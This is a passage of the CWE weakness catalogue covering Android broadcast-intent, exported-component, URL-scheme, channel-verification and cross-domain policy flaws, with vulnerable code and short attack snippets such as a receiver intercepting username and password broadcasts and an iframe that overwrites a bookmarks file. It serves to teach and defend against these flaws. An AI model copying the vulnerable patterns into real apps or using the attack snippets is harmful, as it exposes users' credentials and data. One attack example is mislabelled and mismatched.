Description

The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

Extended Description

Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	940	Improper Verification of Source of a Communication Channel	1842

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Alternate Terms

Intent Spoofing :

Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity *Another application can impersonate the operating system and cause the software to perform an unintended action.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: XML *(Bad)*

```
<manifest package="com.example.vulnerableApplication">
  <application>
  ...
    <receiver android:name=".ShutdownReceiver">
      <intent-filter>
        <action android:name="android.intent.action.ACTION_SHUTDOWN" />
      </intent-filter>
    </receiver>
  ...
  </application>
</manifest>
```

The ShutdownReceiver class will handle the intent:

Example Language: Java *(Bad)*

```
...
IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);
BroadcastReceiver sReceiver = new ShutDownReceiver();
```

```
registerReceiver(sReceiver, filter);
...
public class ShutdownReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(final Context context, final Intent intent) {
    mainActivity.saveLocalData();
    mainActivity.stopActivity();
  }
}
```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

Example Language: Java *(Attack)*

```
window.location = examplescheme://method?parameter=value
```

An attacker can use this behavior to cause a denial of service.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
499	Android Intent Intercept

References

[REF-922]Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-Application Communication in Android". < http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf >.

CWE-926: Improper Export of Android Application Components

Weakness ID : 926
Structure : Simple
Abstraction : Variant

Description

The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

Extended Description

The attacks and consequences of improperly exporting a component may depend on the exported component:

- If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify

the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.
- If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.
- If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	285	Improper Authorization	684

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Background Details

There are three types of components that can be exported in an Android application.

- An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.
- A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.
- The Content Provider mechanism can be used to share data with other applications or internally within the same application.

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State DoS: Crash, Exit, or Restart DoS: Instability Varies by Context *Other applications, possibly untrusted, can launch the Activity.*	
Availability Integrity	Unexpected State Gain Privileges or Assume Identity DoS: Crash, Exit, or Restart DoS: Instability Varies by Context *Other applications, possibly untrusted, can bind to the Service.*	
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
Integrity	Modify Application Data *Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Build and Compilation

Strategy = Attack Surface Reduction

If they do not need to be shared by other applications, explicitly mark components with android:exported="false" in the application manifest.

Phase: Build and Compilation

Strategy = Attack Surface Reduction

If you only intend to use exported components between related apps under your control, use android:protectionLevel="signature" in the xml manifest to restrict access to applications signed by you.

Phase: Build and Compilation

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Limit Content Provider permissions (read/write) as appropriate.

Phase: Build and Compilation

Phase: Architecture and Design

Strategy = Separation of Privilege

Limit Content Provider permissions (read/write) as appropriate.

Demonstrative Examples

Example 1:

This application is exporting an activity and a service in its manifest.xml:

Example Language: XML *(Bad)*

```
<activity android:name="com.example.vulnerableApp.mainScreen">
  ...
  <intent-filter>
    <action android:name="com.example.vulnerableApp.OPEN_UI" />
    <category android:name="android.intent.category.DEFAULT" />
  </intent-filter>
  ...
</activity>
<service android:name="com.example.vulnerableApp.backgroundService">
  ...
  <intent-filter>
```

```
    <action android:name="com.example.vulnerableApp.START_BACKGROUND" />
  </intent-filter>
  ...
</service>
```

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

Example 2:

This application has created a content provider to enable custom search suggestions within the application:

Example Language: XML *(Bad)*

```
<provider>
  android:name="com.example.vulnerableApp.searchDB"
  android:authorities="com.example.vulnerableApp.searchDB">
</provider>
```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < https:// developer.android.com/training/articles/security-tips#ContentProviders >.2023-04-07.

CWE-927: Use of Implicit Intent for Sensitive Communication

Weakness ID : 927
Structure : Simple
Abstraction : Variant

Description

The Android application uses an implicit intent for transmitting sensitive data to other applications.

Extended Description

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	668	Exposure of Resource to Wrong Sphere	1469
ChildOf	●	285	Improper Authorization	684

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Other applications, possibly untrusted, can read the data that is offered through the Intent.*	
Integrity	Varies by Context *The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

Demonstrative Examples

Example 1:

This application wants to create a user account in several trusted applications using one broadcast intent:

Example Language: Java *(Bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

Example Language: Java *(Attack)*

```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create an allowlist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

Example 2:

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

Example Language: Java *(Bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

Example Language: Java *(Attack)*

```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

Example 3:

This application is sending an ordered broadcast, asking other applications to open a URL:

Example Language: Java *(Bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

Example Language: Java *(Attack)*

```
public class CallReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
    attackURL = "www.example.com/attack?" + Url;
    setResultData(attackURL);
  }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

Example 4:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Example Language: Java *(Bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Example Language: Java *(Attack)*

```
public class CallReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    Uri userData = intent.getData();
    stealUserData(userData);
  }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

Observed Examples

Reference	Description
CVE-2022-4903	An Android application does not use FLAG_IMMUTABLE when creating a PendingIntent. *https://www.cve.org/CVERecord?id=CVE-2022-4903*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-922]Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-Application Communication in Android". < http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf >.

[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < https://developer.android.com/training/articles/security-tips#ContentProviders >.2023-04-07.

CWE-939: Improper Authorization in Handler for Custom URL Scheme

Weakness ID : 939
Structure : Simple
Abstraction : Base

Description

The product uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

Extended Description

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	862	Missing Authorization	1780

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2476

Applicable Platforms

Technology : Mobile *(Prevalence = Undetermined)*

Potential Mitigations

Phase: Architecture and Design

Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

Demonstrative Examples

Example 1:

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

External Application

Example Language: Objective-C *(Good)*

```
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
```

```
[[UIApplication sharedApplication] openURL:url];
```

Application URL Handler

Example Language: *(Bad)*

```
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
   if (!url) {
      return NO;
   }
   NSString *action = [url host];
   if([action isEqualToString: @"replaceFileText"]) {
      NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
      //this function will write contents to a specified file
      FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
   }
   return YES;
}
```

The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

Example Language: HTML *(Attack)*

```
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(Bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
   if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
      if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
         writeDataToView(view, UserData);
         return false;
      }
      else{
         return true;
      }
   }
}
```

Example Language: Objective-C *(Bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
   NSURL *URL = [exRequest URL];
   if ([[URL scheme] isEqualToString:@"exampleScheme"])
```

```
    {
      NSString *functionString = [URL resourceSpecifier];
      if ([functionString hasPrefix:@"specialFunction"])
      {
        // Make data available back in webview.
        UIWebView *webView = [self writeDataToView:[URL query]];
      }
      return NO;
    }
    return YES;
  }
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(Attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2013-5725	URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions. *https://www.cve.org/CVERecord?id=CVE-2013-5725*
CVE-2013-5726	URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions. *https://www.cve.org/CVERecord?id=CVE-2013-5726*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-938]Guillaume Ross. "Scheming for Privacy and Security". 2013 November 1. < https://brooksreview.net/2013/11/guest-post_scheming-for-privacy-and-security/ >.2023-04-07.

CWE-940: Improper Verification of Source of a Communication Channel

Weakness ID : 940
Structure : Simple
Abstraction : Base

Description

The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

Extended Description

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	346	Origin Validation Error	853
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1827
ParentOf	V	925	Improper Verification of Intent by Broadcast Receiver	1831

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2429

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2325

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Gain Privileges or Assume Identity Varies by Context *An attacker can access any functionality that is inadvertently accessible to the source.*	

Potential Mitigations

Phase: Architecture and Design

Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

Demonstrative Examples

Example 1:

This Android application will remove a user account when it receives an intent to do so:

Example Language: Java *(Bad)*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    int userID = intent.getIntExtra("userID");
    destroyUserData(userID);
  }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(Bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
  if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
    if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
      writeDataToView(view, UserData);
      return false;
    }
    else{
      return true;
    }
  }
}
```

Example Language: Objective-C *(Bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
  NSURL *URL = [exRequest URL];
  if ([[URL scheme] isEqualToString:@"exampleScheme"])
  {
    NSString *functionString = [URL resourceSpecifier];
    if ([functionString hasPrefix:@"specialFunction"])
    {
      // Make data available back in webview.
      UIWebView *webView = [self writeDataToView:[URL query]];
    }
    return NO;
  }
  return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(Attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://www.cve.org/CVERecord?id=CVE-2000-1218*
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://www.cve.org/CVERecord?id=CVE-2005-0877*

Reference	Description
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers *https://www.cve.org/CVERecord?id=CVE-2001-1452*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2494
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Notes

Relationship

While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
500	WebView Injection
594	Traffic Injection
595	Connection Reset
596	TCP RST Injection

References

[REF-324]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf >.

CWE-941: Incorrectly Specified Destination in a Communication Channel

Weakness ID : 941
Structure : Simple
Abstraction : Base

Description

The product creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

Extended Description

Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the product to communicate with an unintended destination:

- If the product allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an

attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.
- If the product incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the product might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by *any* receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓖ	923	Improper Restriction of Communication Channel to Intended Endpoints	1827
CanPrecede	Ⓖ	406	Insufficient Control of Network Message Volume (Network Amplification)	990

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2429

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2325

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Demonstrative Examples

Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

Example Language: Python *(Bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
  data = sock.recvfrom(1024)
  if not data:
    break
  (requestIP, nameToResolve) = parseUDPpacket(data)
  record = resolveName(nameToResolve)
  sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

Reference	Description
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. *https://www.cve.org/CVERecord?id=CVE-2013-5211*
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. *https://www.cve.org/CVERecord?id=CVE-1999-0513*
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. *https://www.cve.org/CVERecord?id=CVE-1999-1379*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-941]US-CERT. "UDP-based Amplification Attacks". 2014 January 7. < https://www.us-cert.gov/ncas/alerts/TA14-017A >.

[REF-942]Fortify. "Android Bad Practices: Sticky Broadcast". < https://www.hpe.com/us/en/solutions/infrastructure-security.html?jumpid=va_wnmstr1ug6_aid-510326901 >.2023-04-07.

CWE-942: Permissive Cross-domain Policy with Untrusted Domains

Weakness ID : 942
Structure : Simple
Abstraction : Variant

Description

The product uses a cross-domain policy file that includes domains that should not be trusted.

Extended Description

A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a list of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.

Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.

An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.

In many cases, the attack can be launched without the victim even being aware of it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	183	Permissive List of Allowed Inputs	458
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1827
ChildOf	C	863	Incorrect Authorization	1787
CanPrecede	C	668	Exposure of Resource to Wrong Sphere	1469

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data Varies by Context *An attacker may be able to bypass the web browser's same-origin policy. An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Demonstrative Examples

Example 1:

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

Example Language: XML *(Bad)*

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*"/>
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

Example Language: XML *(Bad)*

```
